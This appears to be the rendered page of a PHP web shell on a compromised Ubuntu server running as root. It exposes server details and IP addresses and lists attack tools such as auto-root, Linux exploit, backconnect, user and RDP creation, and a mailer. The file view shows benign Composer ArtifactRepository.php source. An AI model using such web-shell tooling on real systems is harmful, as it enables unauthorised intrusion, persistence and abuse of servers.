Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.216.67
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
php /
Composer /
Repository /
[ HOME SHELL ]
Name
Size
Permission
Action
Pear
[ DIR ]
drwxr-xr-x
Vcs
[ DIR ]
drwxr-xr-x
ArrayRepository.php
5.58
KB
-rw-r--r--
ArtifactRepository.php
4.88
KB
-rw-r--r--
BaseRepository.php
7.61
KB
-rw-r--r--
ComposerRepository.php
31.13
KB
-rw-r--r--
CompositeRepository.php
3.83
KB
-rw-r--r--
ConfigurableRepositoryInterfac...
478
B
-rw-r--r--
FilesystemRepository.php
2.23
KB
-rw-r--r--
InstalledArrayRepository.php
584
B
-rw-r--r--
InstalledFilesystemRepository....
504
B
-rw-r--r--
InstalledRepositoryInterface.p...
579
B
-rw-r--r--
InvalidRepositoryException.php
479
B
-rw-r--r--
PackageRepository.php
1.59
KB
-rw-r--r--
PathRepository.php
5.14
KB
-rw-r--r--
PearRepository.php
8.54
KB
-rw-r--r--
PlatformRepository.php
10.57
KB
-rw-r--r--
RepositoryFactory.php
6.71
KB
-rw-r--r--
RepositoryInterface.php
2.18
KB
-rw-r--r--
RepositoryManager.php
5.42
KB
-rw-r--r--
RepositorySecurityException.ph...
482
B
-rw-r--r--
VcsRepository.php
11.18
KB
-rw-r--r--
WritableArrayRepository.php
1.48
KB
-rw-r--r--
WritableRepositoryInterface.ph...
1.22
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ArtifactRepository.php
<?php /* * This file is part of Composer. * * (c) Nils Adermann <naderman@naderman.de> * Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Composer\Repository; use Composer\IO\IOInterface; use Composer\Json\JsonFile; use Composer\Package\Loader\ArrayLoader; use Composer\Package\Loader\LoaderInterface; /** * @author Serge Smertin <serg.smertin@gmail.com> */ class ArtifactRepository extends ArrayRepository implements ConfigurableRepositoryInterface { /** @var LoaderInterface */ protected $loader; protected $lookup; protected $repoConfig; private $io; public function __construct(array $repoConfig, IOInterface $io) { parent::__construct(); if (!extension_loaded('zip')) { throw new \RuntimeException('The artifact repository requires PHP\'s zip extension'); } $this->loader = new ArrayLoader(); $this->lookup = $repoConfig['url']; $this->io = $io; $this->repoConfig = $repoConfig; } public function getRepoConfig() { return $this->repoConfig; } protected function initialize() { parent::initialize(); $this->scanDirectory($this->lookup); } private function scanDirectory($path) { $io = $this->io; $directory = new \RecursiveDirectoryIterator($path, \RecursiveDirectoryIterator::FOLLOW_SYMLINKS); $iterator = new \RecursiveIteratorIterator($directory); $regex = new \RegexIterator($iterator, '/^.+\.(zip|phar)$/i'); foreach ($regex as $file) { /* @var $file \SplFileInfo */ if (!$file->isFile()) { continue; } $package = $this->getComposerInformation($file); if (!$package) { $io->writeError("File <comment>{$file->getBasename()}</comment> doesn't seem to hold a package", true, IOInterface::VERBOSE); continue; } $template = 'Found package <info>%s</info> (<comment>%s</comment>) in file <info>%s</info>'; $io->writeError(sprintf($template, $package->getName(), $package->getPrettyVersion(), $file->getBasename()), true, IOInterface::VERBOSE); $this->addPackage($package); } } /** * Find a file by name, returning the one that has the shortest path. * * @param \ZipArchive $zip * @param $filename * @return bool|int */ private function locateFile(\ZipArchive $zip, $filename) { $indexOfShortestMatch = false; $lengthOfShortestMatch = -1; for ($i = 0; $i < $zip->numFiles; $i++) { $stat = $zip->statIndex($i); if (strcmp(basename($stat['name']), $filename) === 0) { $directoryName = dirname($stat['name']); if ($directoryName == '.') { //if composer.json is in root directory //it has to be the one to use. return $i; } if (strpos($directoryName, '\\') !== false || strpos($directoryName, '/') !== false) { //composer.json files below first directory are rejected continue; } $length = strlen($stat['name']); if ($indexOfShortestMatch === false || $length < $lengthOfShortestMatch) { //Check it's not a directory. $contents = $zip->getFromIndex($i); if ($contents !== false) { $indexOfShortestMatch = $i; $lengthOfShortestMatch = $length; } } } } return $indexOfShortestMatch; } private function getComposerInformation(\SplFileInfo $file) { $zip = new \ZipArchive(); $zip->open($file->getPathname()); if (0 == $zip->numFiles) { return false; } $foundFileIndex = $this->locateFile($zip, 'composer.json'); if (false === $foundFileIndex) { return false; } $configurationFileName = $zip->getNameIndex($foundFileIndex); $composerFile = "zip://{$file->getPathname()}#$configurationFileName"; $json = file_get_contents($composerFile); $package = JsonFile::parseJson($json, $composerFile); $package['dist'] = array( 'type' => 'zip', 'url' => strtr($file->getPathname(), '\\', '/'), 'shasum' => sha1_file($file->getRealPath()), ); try { $package = $this->loader->load($package); } catch (\UnexpectedValueException $e) { throw new \UnexpectedValueException('Failed loading package in '.$file.': '.$e->getMessage(), 0, $e); } return $package; } }
Close